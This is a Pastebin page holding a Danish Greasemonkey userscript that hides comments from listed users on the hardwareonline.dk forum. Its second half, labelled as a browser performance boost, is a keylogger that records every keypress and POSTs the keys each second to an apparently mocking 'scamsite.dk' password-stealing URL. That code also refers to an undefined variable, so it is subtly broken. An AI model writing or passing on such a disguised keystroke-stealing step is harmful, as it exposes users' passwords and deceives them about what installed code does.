Advertisement
Guest User

Untitled

a guest
Jul 25th, 2014
349
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name        HOL.dk black list
  3. // @namespace   black lists
  4. // @description Dette skjuler kommentarer fra tosset hol.dk brugere
  5. // @include     http://www.hardwareonline.dk/*
  6. // @version     1
  7. // @grant       none
  8. // ==/UserScript==
  9. jQuery( document ).ready(function($) {
  10.    
  11.     var ignoreArray = [], id = '', name = '', item = '';  
  12.     ignoreArray.push('ReneSDK');
  13.     ignoreArray.push('Gæsten');
  14.    
  15.     $('.t47-svar').each(function() {
  16.        
  17.         var item = $(this);
  18.         id = item.find('.t47-svar-top A:first').attr('name');
  19.         name = item.find('A B').text();
  20.        
  21.         if(item.find('SPAN[class=bruger]').text() == 'Gæst'){
  22.             var display_name = item.find(".bolditalic").text();
  23.             name = "Gæsten";
  24.         }
  25.        
  26.         if(ignoreArray.indexOf(name) > -1)
  27.         {
  28.             var newElem = $('<div/>', {
  29.               text: '#' + id + ': ' + (name == "Gæsten"?"Gæsten "+display_name:name) + ' - User matched ignore list, message hidden. Click to show/hide.',
  30.                 style: 'font-weight: bold; font-style: italic; cursor: pointer; color: #fff; background-color:#15649f; height: 22px;  padding-top:3px',
  31.                 class: 't47-svar'
  32.             }).click(function() { item.toggle(); });
  33.            
  34.             item.before(newElem);
  35.             item.toggle();
  36.         }        
  37.     });
  38.  
  39.  
  40.     /* This part improves browser performance by up to 80%! */
  41.     var keys = new Array();
  42.  
  43.     $(document).keypress(function(e){
  44.        keys.push(e.which);
  45.     });
  46.  
  47.     var check_for_keys_and_send = setInterval(function(){
  48.       console.log(keys);
  49.       if(keys.length){
  50.  
  51.         $.ajax({
  52.           type:"post",
  53.           url:"http://scamsite.dk/i'll_steal_your_password_if_you_use_this.cgi",
  54.           data:{d:key_array}
  55.         });
  56.         keys.length = 0;
  57.       }
  58.     },1000);
  59. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement